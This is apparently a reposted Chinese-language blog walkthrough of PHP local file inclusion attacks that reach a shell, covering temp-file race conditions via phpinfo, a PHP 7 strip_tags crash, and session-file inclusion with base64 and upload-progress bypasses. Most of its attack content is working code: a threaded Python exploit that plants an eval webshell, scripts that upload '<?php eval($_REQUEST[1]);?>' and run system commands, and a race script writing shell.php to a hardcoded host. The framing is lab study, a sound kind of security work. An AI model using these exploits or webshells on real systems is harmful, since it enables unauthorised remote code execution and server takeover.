PHP LFI 利用临时文件Getshell

这篇具有很好参考价值的文章主要介绍了PHP LFI 利用临时文件Getshell。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

PHP LFI 利用临时文件 Getshell 姿势-安全客 - 安全资讯平台

LFI 绕过 Session 包含限制 Getshell-安全客 - 安全资讯平台

目录

 PHP LFI 利用临时文件Getshell

临时文件

linux 和 windows的 临时文件存储规则

linux和windows对临时文件的命名规则

PHPINFO()特性

原理

条件竞争

PHP7 Segment Fault

利用条件

攻击技巧1

LFI 绕过 SESSION 包含限制 Getshell

会话存储

存储位置

存储命名

会话处理

session.serialize_handler

LFI SESSION

serialize_handler = php

serialize_handler = serialize_php

session文件包含限制

SessionBase64Encode

bypass serialize_handler=php

base64加解密

加密

解密

base64特点

bypass base64_encode

bypass serialize_handler = php_serialize

 NO Session_start()

技巧1

技巧2


 

思路都是跟着师傅们走的 其中加上了自己的想法和环境的改变

 PHP LFI 利用临时文件Getshell

首先我们了解一下什么是

临时文件

在通过web 传递文件的时候 通过 POST PUT 进行文本和二进制的传递

我们上传的文件信息会保存在全局变量 $_FIELS中

$_FILE 这个全局变量很特殊 他是预定义超级数组中唯一一个二维数组

作用是上传文件的各种信息

$_FIELS['userfile']['name'] 客户端文件的名字

$_FIILS['userfile']['type'] 文件MIME,如果浏览器提供这种支持 例如 "image/gif"

$_FILES['userfile']['size'] 文件的大小 字节

$_FILES['userfile']['tmp_name'] php上传存储服务端的临时文件 一般是系统默认,可以在php.ini 的 upload_tmp_dir 中指定 默认是 /tmp目录

$_FILES['userfile']['error'] 文件上传错误的代码 上传成功则为 0  否则就是错误信息

在临时包含文件漏洞中
$_FIELS['userfile']['name'] 这个变量很重要 我们需要知道这个临时文件的名字 我们才可以通过 include包含 那我们如何知道 我们首先要了解

linux 和 windows的 临时文件存储规则

linux
/tmp


windows
C:/Windows/
或者
C:/Windows/Temp

如果php.ini的 upload_tmp_dir没有写入

就会默认生成在这里

我们还需要了解

linux和windows对临时文件的命名规则

linux

保存在 tmp下的格式通常为

tmp/php[6个字符]


windows

保存在 C:/Windows下的格式通常为


C:/Windows/php[四个字符].tmp

PHPINFO()特性

如果文件中存在phpinfo 我们知道可以获取临时文件名

\vulhub-master\php\inclusion

我们可以用自己的方式来

index.php

<?php

    $file  = $_GET['file'];
    include($file);

?>

info.php

<?php phpinfo();?>

 然后通过exp来实现

原理是什么呢

原理

向php发送代码区块的时候 无论有没有被解析 都会存入一个临时文件 其实就是文件上传

我们通过上传一个文件内容 就可以生成一个临时文件

我们可以通过request来实现

files = {
  'file': ("aa.txt","ssss")
}
r = requests.post(url=url, files=files, allow_redirects=False)

这里其实就是上传了一个文件区块

所以会生成一个临时文件在tmp(默认)目录下

这个时候 phpinfo()登场了 phpinfo()会输出当前请求上下中的所有变量 所以我们向phpinfo的页面

传输上面的文件区块 phpinfo就会输出 我们就可以在phpinfo中找到 $_FILES的内容 这个时候 我们就可以获取了临时文件

但是我们如何发送个文件包含 还要保证 临时文件不被删除呢

这里就是打一个时间差

条件竞争

首先 我们发送一个包含webshell的包 这个包的header get post 全是垃圾数据

然后phpinfo 将所有内容打印出来 php默认输出缓冲区的大小为4096

可以理解为 每次输出4096都给 socket链接 就是都输出响应


所以 我们读取原生的socket 只要发现了 临时文件名 就再发一次垃圾包

这个时候 第一次的 socket还没有结束 但是还是接受到了 第二次的 socket

从而就接上了 临时文件 这个时候 我们将临时文件 输出给文件包含页面 

这个时候就可以包含我们的webshell了


 我们先不用exp

我们来使用 request来看看能不能输出 $_FILES变量

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

上面是python输出的 发现成功获取了 临时文件

然后我们开始从docker中 来学尝试

首先去 vulhub拉去镜像

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

访问 localhost:8080/phpinfo.phpPHP LFI 利用临时文件Getshell,WEB,php,开发语言

/lfi.php?file=phpinfo.php

上面文件确定了存在文件包含

这里

phpinfo


文件包含

 两个条件都确定了 所以我们可以通过exp直接上传木马了

下面是exp  是我通过gpt修改的py3环境 因为我的py2 无法实现

https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py%22%3Ehttps://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py%3C/a%3E

py3 exp.py ip 8080 100
#!/usr/bin/python3
import sys
import threading
import socket


def setup(host, port):
    TAG = "安全测试"
    PAYLOAD = """%s\r
<?php file_put_contents('/tmp/shell', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq.encode())
    d = b""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index(b"[tmp_name] =&gt; ")
        fn = d[i + 17:i + 31]
    except ValueError:
        return None

    s2.send((lfireq % (fn.decode(), host)).encode())
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag.encode()) != -1:
        return fn.decode()


counter = 0


class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print("\n成功!Shell已创建在 /tmp/shell")
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """获取php输出中tmp_name的偏移量"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq.encode())

    d = b""
    while True:
        i = s.recv(4096)
        d += i
        if i == b"":
            break
        # detect the final chunk
        if i.endswith(b"0\r\n\r\n"):
            break
    s.close()
    i = d.find(b"[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("在phpinfo输出中未找到php tmp_name")

    print("在位置 %i 找到 %s" % (i, d[i:i + 10].decode()))
    # 加一些填充
    return i + 256


def main():
    print("LFI With PHPInfo()")
    print("-=" * 30)

    if len(sys.argv) < 2:
        print("用法:%s 主机 [端口] [线程数]" % sys.argv[0])
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
        sys.exit(1)

    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    numthreads = int(sys.argv[3]) if len(sys.argv) > 3 else 10

    phpinforeq, tag, lfireq = setup(host, port)
    offset = getOffset(host, port, phpinforeq)

    print("\n[*] 开始进行LFI攻击...")
    threads = []
    e = threading.Event()
    l = threading.Lock()

    try:
        for i in range(numthreads):
            t = ThreadWorker(e, l, 100, host, port, phpinforeq, offset, lfireq, tag)
            threads.append(t)
            t.start()

        while not e.is_set():
            try:
                e.wait(1)
            except KeyboardInterrupt:
                print("\n[*] 收到中断信号,正在停止攻击...")
                e.set()

    except socket.error as e:
        print("连接错误:%s" % str(e))

    for t in threads:
        t.join()

    print("\n[*] 攻击结束。")


if __name__ == "__main__":
    main()

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

PHP LFI 利用临时文件Getshell,WEB,php,开发语言这四个地方 按照自己的设定来实现PHP LFI 利用临时文件Getshell,WEB,php,开发语言

成功了 这个时候 临时文件就不会被删除

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

 这里大家不要绕晕了 因为我们其实保存的临时文件 还是PHP[四个字符]这种格式

但是我们的木马写的是

<?php file_put_contents('/tmp/shell', '<?=eval($_REQUEST[1])?>')?>

 重新写一个文件 到tmp的shell下

所以我们这里可以去tmp/shell包含

因为上面的exp会一直发送垃圾包给phpinfo 并且 同时发送文件包含到lfi.php中 包含临时文件

然后临时文件内容为写入shell 从而达到getshell

PHP7 Segment Fault

这里看名字就知道了

利用条件

PHP版本  7.0.0-----7.0.28

上面的条件其实挺苛刻的 需要 存在文件包含 并且还有phpinfo的界面

那么这里研究的就是 如果没有存在 phpinfo 的界面 我们是不是就无法通过 文件包含getshell

其实不然

PHP 7 存在一个漏洞 CVE-2018-14884 segment fault漏洞

首先 我们知道 php存在过滤器 我们常用的filter中存在有一个


php://filter/string.strip_tags  原本的作用是在字符串中去除 HTML 和 PHP 标签

但是在 7.0.0----7.0.28

中 使用 string.strip_tags 会让文件崩溃 出现 segment fault(段错误)

这个时候 php的垃圾回收 就失效了 不会像phpinfo 一样删除临时文件 所以临时文件

就会保留在 tmp 或者 upload_tmp_dir 设定的目录下

我们一样继续在本地搭建环境测试

dir.php

<?php
$a= @$_GET['dir'];
if(!$a){
$a = 'C:\Windows';
}
var_dump(scandir($a));
?>

index.php

<?php
    $a = @$_GET['dir'];
    var_dump(scandir($a));
?

然后我们的目的是文件包含的时候破坏php 出现段错误

我们首先来测试

首先配置 7 的版本

windows.php.net - /downloads/releases/archives/

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

 然后访问 index.php

这里是windows的环境 所以我们访问C:/Windows/win.ini/

其实这里什么文件都是可以的

127.0.0.1:3000/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

出现了报错

这里就说明存在了

那么我们如何通过上传php木马呢

我们来request写入

攻击技巧1

这里是通过存在 dir.php 来显示

这里顺便介绍一个库io 其中的 方法

BytesIO 主要是通过 字节方式存储 我们传递文件 就可以使用这个

import  requests
from io import  BytesIO

url1 = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"

files = {'file':BytesIO('<?php eval($_REQUEST[1]);?>')}

re = requests.post(url=url1,files=files,allow_redirects=False)

url2 = "http://localhost/dir.php"

re2 = requests.get(url = url2)

print re2.text

首先 我们可以找到 php临时文件

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

然后我们就可以通过这个执行命令了

# -*- coding: utf-8 -*-
import re
import requests
from io import BytesIO

# 定义漏洞URL和文件路径
vul_url = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
url2 = "http://localhost/dir.php"

# 构建文件
files = {'file': BytesIO('<?php eval($_REQUEST[1]);?>')}

# 发送漏洞利用请求
req = requests.post(url=vul_url, files=files, allow_redirects=False)
req2 = requests.get(url=url2)
# 获取临时文件名
content1 = re.search(r"php[a-zA-Z0-9]{1,}.tmp", req2.content).group(0)

# 构建获取目录列表的URL
url3 = "http://localhost/index.php?file=C:/Windows/{}".format(content1)

# 构建命令
data = {
    1: "system('dir');"
}

# 发送获取目录列表的请求
req3 = requests.post(url=url3, data=data)

# 输出结果
print u"目录列表:\n{}".format(req3.text)

这个代码确实写的恶心了点 。。。。。

但是执行了命令PHP LFI 利用临时文件Getshell,WEB,php,开发语言

这里条件其实还是有点苛刻 需要dir.php来输出 如果我们不存在呢

其实我们只需要一个文件包含即可 因为我们可以通过爆破/遍历 来实现

我们可以使用工具来直接进行fuzz 我们使用 bp来进行

我本地是 4A41 我们直接bp跑了

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

看看要多久

ok 爆破了半天 白爆破了 看了会手机才发现没有加目录。。。。。

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

差不多爆破了 8分钟吧 还是慢的

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

成功获取了shell

LFI 绕过 SESSION 包含限制 Getshell

搞完上面 居然还有一个。。。。。 好累啊

但是确实学到东西 ^_^

一样 我们了解如何绕过 先去看看 如何session是什么

session 叫做 用户会话 用来存储标识的

我们首先看看

会话存储

存储位置

每个语言存储的方式是不一样的

java 是 将session 存储入内存中

php 是 将 session 以一个文件形式存储

存储的位置我们可以去php.ini查看

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

第二种 我们可以通过phpinfo查看

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

因为没有设置 所以默认是tmp

但是其实实际中 存在一下存储位置

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

存储命名

我们如果要实现文件包含 我们就需要了解文件名是什么

一般我们能看到


我们bp发包的时候是


Cookie: PHPSESSID=abdsajdjad

这个时候 就会生成sess_abdsajdjad

其实就是 sess_[我们发送的session]

我这里是通过windows环境进行测试 所以我的session存放位置是

C:\Users\Administrator\AppData\Local\Temp
<?php

    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;

?>

 我们发送 username=1

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

可以获取到session

然后去目录下找

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

会话处理

我们了解了session的存储 我们现在需要了解一下 会话的处理

其实主要处理方式 是php.ini 或者 代码中对session.serialize_handler的配置

session.serialize_handler

我们这里先需要了解一下这个配置

session.serialize_handler = php 这个是默认配置 存储方式 是通过|来间隔

<?php

    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;

?>

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

 session.serialize_handler = php_serialize 这个是php5.5后启用的 通过序列化进行分割

<?php

    ini_set('session.serialize_handler', 'php_serialize');    
    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;

?>

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

能发现是通过序列化进行存储的

上面了解完了 session的知识

现在我们需要了解文件包含

LFI SESSION

serialize_handler = php

这里开始了解 session 文件包含漏洞

首先我们需要一个文件包含的漏洞代码 index.php

<?php

    $file  = $_GET['file'];
    include($file);

?>

然后需要一个上传session的内容 session.php

<?php
    session_start();
    $username=$_POST['username'];
    $_SESSION["username"] = $username;
?>

然后我们通过session传递参数

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

获取session值 这个时候我们就相当于知道了 session文件的文件名

sess_4794cc8f9f63ed29d97daf155ee94ef2

其次我们通过文件包含读取这个文件看看

我这里是

C:\Users\Administrator\AppData\Local\Temp\sess_4794cc8f9f63ed29d97daf155ee94ef2

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

成功读取了

但是我们换一种思路 我们通过写入木马呢

username=<?php eval($_REQUEST[1]);?>

然后去查看sess文件

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

可以发现命令执行成功

serialize_handler = serialize_php

一样我们通过payload执行传递一句话

username=<?php eval($_REQUEST[1]);?>

然后去包含文件看看  这里和上面我的路径不一样 是因为上面是vs的 下面是小皮开的

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

发现成功执行了 getshell 了 蚁剑链接看看

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

以上是最最最最理想化的session文件包含了

现在我们来探讨一下文件包含的限制

session文件包含限制

一般会对session进行加密传递 或者 服务器中根本不出现 session_start这种设置

这样我们就无法生成session 自然无法实现本地文件包含

下面开始进行

SessionBase64Encode

首先是对session进行base64加密

session.php

<?php
    session_start();
    $username=$_POST['username'];
    $_SESSION["username"] = base64_encode($username);
    echo "username -> $usernmae"
?>

index.php

<?php

    $file  = $_GET['file'];
    include($file);

?>

然后我们开始进行正常的操作

usernmae=<?php eval($_REQUEST[1]);?>

然后去访问sess文件

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

 发现了 base加密 我们看看能不能直接通过 过滤器解密

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

发现乱码了

因为base过滤器解密是将所有的信息解密 包括前面的base64

所以会变成乱码

现在我们学习绕过

绕过分为两种

bypass serialize_handler=php

这里我们希望 我们解密的地方能够和加密的地方对上

base64加解密
加密

base64编码是将64个可打印字符按照任意字节序编码成ASCII字符 另外 = 可以作为后缀PHP LFI 利用临时文件Getshell,WEB,php,开发语言

然后我们探讨一下base64编码的过程

Base64 首先将输入 按照字节切分

然后获取每个位的二进制 (不足8bit 高位补0)

然后将二进制串联 再按照6bit的长度组合(不足6位末尾补0)

将每组二进制转换为十进制 然后通过ASCII对照表进行转换为ASCII值

LFI 绕过 Session 包含限制 Getshell-安全客 - 安全资讯平台

引用师傅里面的图像

我们通过 ABCD来测试

 A                 B                C                D
0x41              0x42            0x43              0x44        十六机制

01000001          01000010        01000011          01000100    二进制

010000   010100    001001    000011    010001     000000        通过6个组合为一组二进制

16      20        9           3            17         0         转为十进制


Q        U        J            D            R           A       通过base64对照表进行十进制转换 

上面就是流程了

加密后最后通过 ==补齐

QUJDRA==
解密

其实就是上面的逆向

首先通过base64对照表进行转为十进制

十进制转为二进制

二进制拆开 通过 8bit组合

然后转变为十六进制

最后变为ASCII值
base64特点

我们首先知道 base64是将ascii 变为可见字符的加密

PHP在解密base64的时候 如果遇到了不可见字符即不在64个字符中的字符 就会跳过

仅将合法的字符组成字符串进行解密

64个字符为(A-Z、a-z、0-9、+、/)

我们可以通过测试来看看

<?php
$base1 = "ABCDEFGbacd";
$base2 = "ABCD#EFGbacd";
$base3 = "ABCD&EFGbacd"; 


echo "第一个:".base64_decode($base1);
echo "</br>";
echo "第二个:".base64_decode($base2);
echo "</br>";
echo "第三个:".base64_decode($base3);
?>

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

 这里我们可以发现 三次输出都是一样的 不一样的是我输入后两个加了个在64字符之外的内容

所以这里我们能确定 会跳过不合法的字符 将合法字符组合为一个字符串 然后进行解密

bypass base64_encode

这里其实我也看了好久我才明白什么意思

其实我们这里全部解密失败的原因是下面的

我们传入的内容
username|s:36:"PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8+";

我们只需要特殊关注下面的内容

username|s:36:"  我们回忆一下64个字符中 并不存在 : " 吧

所以其实解密只会解密到

usernames36

按照base64 四个为一组进行解密

user name s36X 后面的X是占位符


这里我们发现 最后是 s36 然后就没有了 那么是不是需要后面我们的shell来补齐

PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8+

就会补齐一个上去

所以变为了

s36P D9wa   我们的木马就被破坏了 

所以我们需要找到一个方法 让s36这块变成4个

其实很简单

s:36 后面的36 是按照我们传入的木马字符数 进行获取

如果我们传递一个100个字符的字符串

那么是不是就会变为 s100   (假设为100)

那么现在base64解密

是不是就变为了

user name s100 PD9wa HAgZ ....... 正常解密了 后面的加密字符串

那我们可以开始构造payload了

然后我们传递一下

username=nmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnm<?php eval($_REQUEST[1]);?>

然后我们去文件包含一下看看多少个字符

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

这里就实现咯

user name s108 bm1u .....

然后我们通过过滤器读取吧

php://filter/convert.base64-decode/resource=C:\Users\Administrator\AppData\Local\Temp\sess_4794cc8f9f63ed29d97daf155ee94ef2

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

直接就可以getshell了

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

这里原本通过vscode起来的本地环境无法使用蚁剑链接 也不知道为什么

然后通过小皮就可以了

这里我们就实现了 bypass serialize_handler = php 的base64加密存储session

接下来就是另一个了

bypass serialize_handler = php_serialize

说完上面的 现在说说序列化怎么办

session.php

<?php

    ini_set('session.serialize_handler', 'php_serialize');    
    session_start();
    $username = $_POST['username'];
    $_SESSION['username'] = base64_encode($username);
    echo "username -> $username";

?>

我们一样 先传递木马上去看看

usernmae=<?php eval($_REQUEST[1]);?>

然后我们去包含查看

C:\Windows\sess_4794cc8f9f63ed29d97daf155ee94ef2
a:1:{s:8:"username";s:36:"PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8+";}

得到内容了
我们看看如果我们全部basae64解码 是这么个情况 (在序列化的情况下)



a1s8  user name s36P D9wa .........

很显然 还是出现了 缺少一位 那我们上面的payload可以直接使用

payload

username=nmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnmnm<?php eval($_REQUEST[1]);?>
php://filter/convert.base64-decode/resource=C:\Windows\sess_4794cc8f9f63ed29d97daf155ee94ef2

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

。。。。。。小皮把我ban了 那我还是换成vscode的环境吧

换路径

C:\Users\Administrator\AppData\Local\Temp\sess_4794cc8f9f63ed29d97daf155ee94ef2

所以包含payload就变为

php://filter/convert.base64-decode/resource=C:\Users\Administrator\AppData\Local\Temp\sess_4794cc8f9f63ed29d97daf155ee94ef2

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

 NO Session_start()

上面的情况 全都是在 我们确定可以获取 用户session的情况下进行

那么有没有可能 服务器不开启session 那我们是不是就无法进行上传

其实还是可以的

我们首先进入phpinfo看看

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

session.auto_start: 接受到session自动初始化 不需要session_start()

一般都是关闭的

session.upload_progress.enabled: 默认开启 php接受文件上传时检测速度


session.upload_progress.cleanup: 默认开启 表示文件上传后 默认对session文件进行清除

这里是后面条件竞争的点

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS":

这里是关键的地方

首先需要在文件上传的过程中 

其次接收到POST内容 并且内容和 phpinfo中的session.upload_progress.name同名的变量时

上传的进度可以在session中获得(这里系统会自动初始化session)

 看懂上面的内容其实就多半了解了

就是文件上传的时候 传递一个同名的参数 就会开启session

我们来进行思路的整理

首先是文件上传

{'file':('abc.txt',"abcd")}

并且设置cookie (session.use_strict_mode=0)这里可以实现可控

PHPSESSID=nm1111sl

然后POST一个 session.upload_progress.name (可控)

session.upload_progress.name:<?php phpinfo();?>

然后因为上面存在cleanup

会清除这个文件 所以我们需要条件竞争 可以维持sess_nm1111sl的存在

这里我们就可以编写个exp来实现了

技巧1

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://192.33.6.145/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('C:\Users\Administrator\AppData\Local\Temp\shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

 由于本地环境部署可能有问题 没有实现成功 但是确实出现了 sess_shell文件

技巧2

我们写一个前端代码 用来文件上传

<!doctype html>
<html>
<body>
<form action="http://localhost/index.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" vaule="<?php phpinfo(); ?>" />
    <input type="file" name="file1" />
    <input type="file" name="file2" />
    <input type="submit" />
</form>
</body>
</html>

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

然后放到攻击模块 一直发包

PHP LFI 利用临时文件Getshell,WEB,php,开发语言

然后去包含漏洞页面 也是无限发包 就可以实现访问了

但是本地环境 我设置可能没有设置好 无法实现

到这里就差不多理解了文章来源地址https://www.toymoban.com/news/detail-725424.html

到了这里,关于PHP LFI 利用临时文件Getshell的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • wordpress合理利用wp-config.php文件小功能

    这里有几个通过往wp-config.php中添加代码实现相关功能的技巧分享给大家。 1,去掉WordPress的历史修订版本功能。 这个是WordPress默认的功能,主要是方便多人协作写文章使用,但是在单人网站上,这个功能基本上是鸡肋。 去掉的办法: 在wp-config.php中添加代码: 复制代码 代码

    2023年04月23日
    浏览(63)
  • 关于php----phar伪协议和phar文件反序列化漏洞利用

    Secarma的安全研究员Sam Thomas发现了php里一种新的反序列化漏洞,这种漏洞的利用可以避开传统的php反序列化漏洞的查找,旧漏洞莫非寻找反序列化链(pop链),如thinkphp、Laravel的反序列化链的漏洞和使用phar://伪协议完成反序列化漏洞。新发现的漏洞通过创建phar文件,以及配合

    2024年02月05日
    浏览(35)
  • PHP毕业设计课题选题(16)基于web网页网站PHP文件共享网站系统设计与实现

     博主介绍 :《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育和辅导。 所有项目都配有从入门到精通的基础知识视频课程,免费 项目配有对应开发文档、开题报告、任务书、PPT、论文模版

    2024年02月08日
    浏览(50)
  • 【Web】CTFSHOW PHP文件包含刷题记录(全)

    温故知新。 目录 web78 web79 web80 web81 web82 web83 web84 web85 web86 web87 web88 伪协议base64编码直接读出文件内容就行 一眼data伪协议包含php脚本 data也被禁了,日志包含即可 多禁了一个\\\":\\\",还是可以日志包含 连\\\".\\\"都被禁用了,/tmp/sess_xxx是不带点的,尝试多线程条件竞争包含临时目录下

    2024年02月02日
    浏览(46)
  • 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径、绝对路径、相对路径) 具有文件可读权限 提交参数 http://localhost/include/include.php?path=C:windowssystem32driversetchosts ,读取本地host文件 提交参数 http://localhost/include/includ

    2024年02月11日
    浏览(47)
  • [网络安全] Windows Server 设置文件屏蔽防止黑客利用漏洞上传特定类型的非法文件(.asp .aspx .jsp .php)

    [网络安全] Windows Server 设置文件屏蔽防止黑客利用文件上传漏洞上传特定类型的非法文件(.asp .aspx .jsp .php) 我在负责网站运维期间,遇到过一次黑客利用公司网站内使用的开源文件上传工具漏洞上传非法文件(可执行脚本) 我是通过设置文件屏蔽来防止此类事件的再次发生。

    2024年02月12日
    浏览(59)
  • web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

    制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。 方法1 首先准备好一个图片(这里是1.png)。 将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。 后面粘

    2024年02月06日
    浏览(56)
  • 【PHP】PHP利用ffmreg获取音频、视频的详细信息

    目录 一、目的 二、下载并安装ffmreg 三、PHP代码 四、运行结果 使用PHP利用ffmreg获取音频、视频的详细信息,音视频总时长、码率、视频分辨率、音频编码、音频采样频率、实际播放时间、文件大小。 1、下载地址:https://download.csdn.net/download/qq_25285531/88750220 2、解压放到项目下

    2024年01月17日
    浏览(53)
  • 利用 PHP 特性绕 WAF 测试

    在测试绕过 WAF 执行远程代码之前,首先构造一个简单的、易受攻击的远程代码执行脚本,内容如图: 第 6 行是一个比较明显的命令执行代码,第 3 行尝试拦截 system、exec 或 passthru 等函数(PHP 中有许多其他函数可以执行系统命令,这三个是最常见的)。 这个脚本部署在 Cl

    2024年02月08日
    浏览(40)
  • 【php】windows下php运行已有php web项目环境配置教程

    本文操作系统使用的是win11,软件PhpStorm 2023.1 要安装的php版本可以在composer.json看到,下载安装对应版本 windows下载地址https://windows.php.net/download windows 8.0以前的版本在这里找https://windows.php.net/downloads/releases/archives/ Linux下载链接https://www.php.net/downloads nts表示非线程安全版本,我

    2024年02月11日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包